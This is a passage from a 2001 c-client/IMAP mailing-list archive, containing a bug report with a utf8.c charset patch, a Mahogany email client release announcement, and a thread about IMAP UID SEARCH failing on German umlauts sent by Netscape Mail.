Mar 2001 22:00:08 -0800 (PST) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id WAA13579 for ; Tue, 20 Mar 2001 22:00:03 -0800 (PST) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue Mar 20 22:00:03 2001 -0800 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA03666; Tue, 20 Mar 2001 22:00:00 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id VAA30110; Tue, 20 Mar 2001 21:57:04 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id VAA21448 for ; Tue, 20 Mar 2001 21:55:24 -0800 Received: from mx-s0.dreamwiz.com (mx-s0.dreamwiz.com [211.174.54.135]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA12283 for ; Tue, 20 Mar 2001 21:55:23 -0800 Received: from mail2.dreamwiz.com (mail2.dreamwiz.com [211.174.54.22]) by mx-s0.dreamwiz.com (8.10.0/8.10.0) with ESMTP id f2L5oDk98794 for ; Wed, 21 Mar 2001 14:50:13 +0900 (KST) Received: from localhost (localhost [127.0.0.1]) by mail2.dreamwiz.com (8.11.3/8.11.3) with ESMTP id f2L5mWB16988 for ; Wed, 21 Mar 2001 14:48:32 +0900 (KST) Message-Id: <200103210548.f2L5mWB16988@mail2.dreamwiz.com> Date: Wed, 21 Mar 2001 14:48:30 +0900 (KST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Sung-hoon.Choi" To: c-client@u.washington.edu Subject: bug report: utf8.c MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1310498402-985153711=:16963" X-Sender-IP: 211.118.99.149 X-Sender-ID: shoon@dreamwiz.com X-Priority: 3 X-DreamWiz-Data: receive_check=1;save=mail2.dreamwiz.com:shoon:Sent:732; X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --0-1310498402-985153711=:16963 Content-Type: MULTIPART/ALTERNATIVE; BOUNDARY="0-1518971974-985153711=:16963" --0-1518971974-985153711=:16963 Content-Type: TEXT/PLAIN; CHARSET=EUC-KR Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by mx2.cac.washington.edu id WAA03666 Hello, Where: in utf8_text_euc() for Japanese charset. Please, check the attached patch file for imap-2000c. thanks. =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D= -=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D=20 DreamWiz Inc.=20 =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-= =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D=20 Development Team ( Mail/Web/Network/System ) =20 Choi, Sung-hoon ( =C3=D6=BC=BA=C8=C6 )=20 =20 Phone : +82-2-550-3541 Fax : +82-2-550-3505 HP : 011-9730-9689=20 ICQ # : 33529335=20 WWW : http;//my.dreamwiz.com/shoon/ http://www.netian.com/~shoon/=20 http://www.chollian.net/~shoon007 / E-mail : mailto:shoon@dreamwiz.com mailto:shoon@netian.com=20 mailto:shoon007@chollian.net=20 =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-= =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D=20 ------------------------------------------------- DreamWiz Free Mail @ http://www.dreamwiz.com/ DreamSearch Click the world!!! http://search.dreamwiz.com/ --0-1518971974-985153711=:16963 Content-Type: TEXT/HTML; CHARSET=EUC-KR Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by mx2.cac.washington.edu id WAA03666

    Hello,

    Where: in utf8_text_euc() for Japanese charset.

    Please, check the attached patch file for imap-2000c.

    thanks.



    =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D= -=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D=20
       DreamWiz Inc.=20
     =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D= -=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D=20
       Development Team ( Mail/Web/Network/System )
      
       Choi, Sung-hoon ( =C3=D6=BC=BA=C8=C6 )=20
      
       Phone : +82-2-550-3541
       Fax : +82-2-550-3505
       HP : 011-9730-9689=20
       ICQ # : 33529335=20
       WWW : http;//my.dreamwiz.com/shoon/
               &nb= sp;    http://www.netian.com/~shoon/ 
               &nb= sp;    http://www.chollian.net/~shoon007 /
       E-mail : mail= to:shoon@dreamwiz.com
               &nb= sp;    mailto:sho= on@netian.com 
               &nb= sp;    mailt= o:shoon007@chollian.net 
     =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D= -=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D=20


    Your life= on the net

    DreamWiz Free Mail @ http://www.dreamwiz.com/
    DreamSearch Click the world!!!  http://search.dreamwiz.com/

    =20 --0-1518971974-985153711=:16963-- --0-1310498402-985153711=:16963 Content-Type: APPLICATION/OCTET-STREAM; name="utf8.c.patch" Content-ID: <60e216c73ab840ae42430shoon@dreamwiz.com> Content-Disposition: inline; filename="utf8.c.patch" KioqIHV0ZjguYy5vcmcJV2VkIE1hciAyMSAwNTozMToxNyAyMDAxDQotLS0g dXRmOC5jCVdlZCBNYXIgMjEgMDU6MzI6MTUgMjAwMQ0KKioqKioqKioqKioq KioqDQoqKiogMzY2LDM3MiAqKioqDQogIAlkZWZhdWx0Og0KICAJICBpZiAo KChrdSA9IChjICYgQklUUzcpIC0gcDEtPmJhc2Vfa3UpIDwgcDEtPm1heF9r dSkgJiYNCiAgCSAgICAgICAoKHRlbiA9IChjMSAmIEJJVFM3KSAtIHAxLT5i YXNlX3RlbikgPCBwMS0+bWF4X3RlbikpIHsNCiEgCSAgICBpZiAoIShjID0g dDFbKGt1KnAxLT5tYXhfdGVuKSArIHRlbl0pICYmDQogIAkJa3UgJiYgKGt1 IDwgMTApICYmIHQzICYmIHAzLT5iYXNlX3RlbikNCiAgCQkvKiBzcGVjaWFs IGhhY2sgZm9yIEpJUyBYIDAyMTI6IG1lcmdlIHJvd3MgbGVzcyB0aGFuIDEw ICovDQogIAkgICAgICBjID0gdDNbKChrdSAtIChwMy0+YmFzZV9rdSAtIHAx LT5iYXNlX2t1KSkqcDMtPm1heF90ZW4pICsgdGVuXTsNCi0tLSAzNjYsMzcy IC0tLS0NCiAgCWRlZmF1bHQ6DQogIAkgIGlmICgoKGt1ID0gKGMgJiBCSVRT NykgLSBwMS0+YmFzZV9rdSkgPCBwMS0+bWF4X2t1KSAmJg0KICAJICAgICAg ICgodGVuID0gKGMxICYgQklUUzcpIC0gcDEtPmJhc2VfdGVuKSA8IHAxLT5t YXhfdGVuKSkgew0KISAJICAgIGlmICgoYyA9IHQxWyhrdSpwMS0+bWF4X3Rl bikgKyB0ZW5dKSA9PSBVQk9HT04gJiYNCiAgCQlrdSAmJiAoa3UgPCAxMCkg JiYgdDMgJiYgcDMtPmJhc2VfdGVuKQ0KICAJCS8qIHNwZWNpYWwgaGFjayBm b3IgSklTIFggMDIxMjogbWVyZ2Ugcm93cyBsZXNzIHRoYW4gMTAgKi8NCiAg CSAgICAgIGMgPSB0M1soKGt1IC0gKHAzLT5iYXNlX2t1IC0gcDEtPmJhc2Vf a3UpKSpwMy0+bWF4X3RlbikgKyB0ZW5dOw0K --0-1310498402-985153711=:16963-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Mar 23 06:56:18 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 23 Mar 2001 06:56:17 -0800 (PST) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id GAA23294 for ; Fri, 23 Mar 2001 06:56:16 -0800 (PST) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Fri Mar 23 06:56:16 2001 -0800 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA23216; Fri, 23 Mar 2001 06:56:14 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id GAA20454; Fri, 23 Mar 2001 06:53:17 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id GAA15606 for ; Fri, 23 Mar 2001 06:50:30 -0800 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f2NEoTU01125 for ; Fri, 23 Mar 2001 06:50:29 -0800 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.11.3/jtpda-5.3.3) with ESMTP id f2NEnmL91541 ; Fri, 23 Mar 2001 15:49:49 +0100 (CET) Received: from seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id f2NEnmU20372 ; Fri, 23 Mar 2001 15:49:48 +0100 (MET) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id PAA09932 ; Fri, 23 Mar 2001 15:49:41 +0100 Message-Id: <200103231449.PAA09932@seth.lpthe.jussieu.fr> Date: Fri, 23 Mar 2001 15:49:36 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client , "c.o.l.a." , editor Subject: [ANN] Mahogany 0.62 release MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN A new release of the `Mahogany' e-Mail and News client has been made. ===================================================================== Source and binaries for a variety of Linux and Unix systems as well as binaries for Win32 are available at http://sourceforge.net/project/showfiles.php?group_id=3100 You can also get to the download page starting from http://mahogany.sourceforge.net/ NB: My sincere excuses to all people who have written me asking for Win32 binaries and to whom I couldn't reply because there were so many of them. For personal reasons I couldn't make the Win32 version as soon as I hoped to. In this message: 1. Announcing Mahogany Version 0.62 2. Changes Against the Previous Release Announcing Mahogany Version 0.62 ===================================================================== Mahogany is an OpenSource(TM) cross-platform mail and news client. It is available for X11/Unix and MS Windows platforms, supporting a wide range of protocols and standards, including POP3, IMAP4 and full MIME support as well as secure communications via SSL. Mahogany can be extended far beyond its original functionality using its built-in Python interpreter and/or its loadable modules (plug-ins). Mahogany's wealth of features and ease of use make it one of the most powerful clients available, providing a consistent and intuitive interface across all supported platforms and an ideal GUI email client for advanced and novice users alike. Mahogany includes an extendable address book system supporting hierarchical organisation of entries, group aliases, searching the database and easy editing, with support for other programs' address database formats. Currently Mahogany's native format, (X)Emacs' BBDB address books and PalmOS address books are supported. LDAP support is planned for future versions. Mahogany is written using the OpenSource wxWindows application framework for GUI C++ applications, building on the GTK+ toolkit on Unix and native Win32 API under Windows and imap-2000 (c-client) library developed by University of Washington for mail folder access. Mahogany is constantly being tested on a variety of Linux systems, Solaris-sparc and MS Windows. It should compile and work on any modern Unix platform. Changes Since Release 0.60 ===================================================================== Key changes are: - fixes to several fatal crashes with IMAP servers - significant speed up of some operations (although more optimizations are to come) - availability of Win32 version - Mahogany is now dual licensed under its Artistic License and GPL New features: - support for marking message as flagged/important - "Extract all addresses from message" command - possibility to import all MBOX folders under the given directory - possibility to set a hard limit for number of messages retrieved from a (remote) folder Improvements: - folders in the tree can now be rearranged, system folders are at top by default - messages can now be sorted by status and by size as well - title and status bar of folder view are customizable strings which can include information about the number of new/unread/flagged messages - show filtering progress in the status bar - filters dialog is now more convenient to use - new mail reporting was made less intrusive Bug fixes: - reading newsgroups doesn't crash the program immediately - parsing of complex MIME structures fixed - language autodetection fixed - fixed crash when viewing messages with wrong date Please see the CHANGES file in the distribution for an even more detailed list of changes. Future Plans ===================================================================== Next, we hope to tackle the following: - improving the message editor (work in progress) - full HTML message editing/displaying (almost complete) - multi-threading to allow network operations to happen in background - PGP/GPG support - LDAP support Please direct any queries to mahogany-developers@lists.sourceforge.net and don't hesitate to contact us if you would like to participate in Mahogany development! Known bugs: ----------- *** Please note that Mahogany/UNIX is officially in beta state while *** Mahogany/Win32 is still considered to be in alpha stage (although *** we use both versions on the daily basis). There are always some, listed on our bugtracker at http://mahogany.sourceforge.net/bugz/ and we are working on them. Hoping you will find Mahogany useful, M dev-team -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Mar 28 06:12:24 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 28 Mar 2001 06:12:23 -0800 (PST) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id GAA26066 for ; Wed, 28 Mar 2001 06:12:22 -0800 (PST) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed Mar 28 06:12:21 2001 -0800 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA19173; Wed, 28 Mar 2001 06:12:21 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id GAA19150; Wed, 28 Mar 2001 06:08:51 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f2SE5e280518 for ; Wed, 28 Mar 2001 06:05:40 -0800 Received: from ns1.tu-graz.ac.at (ns1.tu-graz.ac.at [129.27.2.3]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f2SE5cb27672 for ; Wed, 28 Mar 2001 06:05:39 -0800 Received: from fl.priv.at (a-11.vc-graz.ac.at [193.171.240.11]) by ns1.tu-graz.ac.at (8.9.3/8.9.3) with ESMTP id QAA25013; Wed, 28 Mar 2001 16:05:33 +0200 (MET DST) Message-Id: <3AC1F164.382B8C80@fl.priv.at> Date: Wed, 28 Mar 2001 16:12:52 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/WU-IMAP Mailing Liste Cc: Mark Crispin Subject: Bogus criteria list in UID SEARCH References: <3AC1CFDF.FB14E741@tbmm.gov.tr> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Sender: fl@ns1.tu-graz.ac.at X-Accept-Language: de, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by mx1.cac.washington.edu id GAA19173 I'm having the a problem with UID SEARCH and German umlauts. Here's what Netscape-Mail sent to the server(imap-2000c) and the servers responses: 22 uid SEARCH CHARSET iso-8859-1 UNDELETED BODY "gew=FCnscht" 22 BAD Bogus criteria list in UID SEARCH now without umlaut(=E4=C4=F6=D6=FC=DC=DF): 23 uid SEARCH UNDELETED BODY "nscht" * SEARCH 3 37 44 46 49 50 23 OK UID SEARCH completed =20 Does imap-2000c only support 7Bit Ascii searching? Is this fixed in imap-2001? TIA for your help. --=20 MfG / Regards Friedrich Lobenstock --=20 ------------------------------------------------------------------ For information about this mailing list, and its archives, see:=20 http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Mar 28 12:58:49 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 28 Mar 2001 12:58:49 -0800 (PST) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id MAA22290 for ; Wed, 28 Mar 2001 12:58:47 -0800 (PST) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed Mar 28 12:58:46 2001 -0800 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA01057; Wed, 28 Mar 2001 12:58:45 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f2SKu6506896; Wed, 28 Mar 2001 12:56:17 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f2SKsa270792 for ; Wed, 28 Mar 2001 12:54:36 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (jtw@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f2SKsa705571 for ; Wed, 28 Mar 2001 12:54:36 -0800 Message-Id: Date: Wed, 28 Mar 2001 12:51:32 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Friedrich Lobenstock Cc: C-Client/WU-IMAP Mailing Liste Subject: re: Bogus criteria list in UID SEARCH In-Reply-To: <3AC1F164.382B8C80@fl.priv.at> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 28 Mar 2001 16:12:52 +0200, Friedrich Lobenstock wrote: > I'm having the a problem with UID SEARCH and German umlauts. > Here's what Netscape-Mail sent to the server(imap-2000c) and > the servers responses: > > 22 uid SEARCH CHARSET iso-8859-1 UNDELETED BODY "gew|nscht" > 22 BAD Bogus criteria list in UID SEARCH It's a bug in Netscape mail. The IMAP specification is quite clear that 8-bit text must be transmitted using literal syntax instead of quoted strings. Report it to Netscape. I don't think that they support that program any more (there are many other bugs in it which have gone unfixed), so maybe you should consider using a different client which is less buggy and more supported. From pinedev@shivax2.cac.washington.edu Wed Mar 28 16:19:06 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 28 Mar 2001 16:19:06 -0800 (PST) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id QAA26239 for ; Wed, 28 Mar 2001 16:19:05 -0800 (PST) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed Mar 28 16:19:05 2001 -0800 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA08850; Wed, 28 Mar 2001 16:19:02 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f2T0Gx508792; Wed, 28 Mar 2001 16:17:00 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f2SNw5275130 for ; Wed, 28 Mar 2001 15:58:05 -0800 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f2SNw2U21915 for ; Wed, 28 Mar 2001 15:58:03 -0800 Received: from localhost (fl@localhost) by www.scotty.co.at (8.11.0/8.8.7) with ESMTP id f2SNvvK03765; Thu, 29 Mar 2001 01:57:57 +0200 Message-Id: Date: Thu, 29 Mar 2001 01:57:57 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: Mark Crispin Cc: C-Client/WU-IMAP Mailing Liste Subject: re: Bogus criteria list in UID SEARCH In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: fl@www.scotty.co.at X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 28 Mar 2001, Mark Crispin wrote: > ... so maybe you should consider using a different client which is less > buggy and more supported. Sorry to ask so stupid, but which client(Linux, optional Windows) is best for use with WU-IMAP server? I've tried Mullbery once but I'm not very satisfied with it. So what else is out there that you would recommend?. -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Wed Mar 28 16:23:32 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 28 Mar 2001 16:23:32 -0800 (PST) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id QAA01580 for ; Wed, 28 Mar 2001 16:23:30 -0800 (PST) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed Mar 28 16:23:29 2001 -0800 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA09082; Wed, 28 Mar 2001 16:23:27 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f2T0Jno30464; Wed, 28 Mar 2001 16:19:50 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f2SNxZ298278 for ; Wed, 28 Mar 2001 15:59:35 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (mel@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f2SNxZM17305 for ; Wed, 28 Mar 2001 15:59:35 -0800 Message-Id: Date: Wed, 28 Mar 2001 15:59:30 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Friedrich Lobenstock Cc: C-Client/WU-IMAP Mailing Liste Subject: re: Bogus criteria list in UID SEARCH In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 29 Mar 2001, Friedrich Lobenstock wrote: > Sorry to ask so stupid, but which client(Linux, optional Windows) is > best for use with WU-IMAP server? I've tried Mullbery once but I'm not > very satisfied with it. So what else is out there that you would > recommend?. Pine is an excellent client, although its current support of non-English characters is somewhat limited. But it should work alright for German. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Mar 28 16:27:09 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 28 Mar 2001 16:27:09 -0800 (PST) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id QAA03058 for ; Wed, 28 Mar 2001 16:27:08 -0800 (PST) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed Mar 28 16:27:07 2001 -0800 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA09235; Wed, 28 Mar 2001 16:27:04 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f2T0NHu25858; Wed, 28 Mar 2001 16:23:19 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f2T04b278468 for ; Wed, 28 Mar 2001 16:04:37 -0800 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f2T04ab16232 for ; Wed, 28 Mar 2001 16:04:36 -0800 Received: from localhost (fl@localhost) by www.scotty.co.at (8.11.0/8.8.7) with ESMTP id f2T04Vi03847; Thu, 29 Mar 2001 02:04:31 +0200 Message-Id: Date: Thu, 29 Mar 2001 02:04:31 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: Mark Crispin Cc: C-Client/WU-IMAP Mailing Liste Subject: re: Bogus criteria list in UID SEARCH In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: fl@www.scotty.co.at X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 28 Mar 2001, Mark Crispin wrote: > Pine is an excellent client, although its current support of non-English > characters is somewhat limited. But it should work alright for German. Yes, Pine. But that's not really satisfying too - if you know what I'm talking about. It's best to use via ssh from remote but not on the desktop of my Athlon. -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Wed Mar 28 16:28:47 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 28 Mar 2001 16:28:47 -0800 (PST) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id QAA27839 for ; Wed, 28 Mar 2001 16:28:45 -0800 (PST) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Wed Mar 28 16:28:44 2001 -0800 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA13241; Wed, 28 Mar 2001 16:28:42 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f2T0Q1r09048; Wed, 28 Mar 2001 16:26:02 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f2T05T275110 for ; Wed, 28 Mar 2001 16:05:29 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (pth@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f2T05SM19356 for ; Wed, 28 Mar 2001 16:05:29 -0800 Message-Id: Date: Wed, 28 Mar 2001 16:04:52 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Friedrich Lobenstock Cc: C-Client/WU-IMAP Mailing Liste Subject: re: Bogus criteria list in UID SEARCH In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 29 Mar 2001 02:04:31 +0200 (CEST), Friedrich Lobenstock wrote: > Yes, Pine. But that's not really satisfying too - if you know what I'm > talking about. It's best to use via ssh from remote but not on the > desktop of my Athlon. Have you tried PC Pine? From pinedev@shivax2.cac.washington.edu Thu Mar 29 07:21:33 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 29 Mar 2001 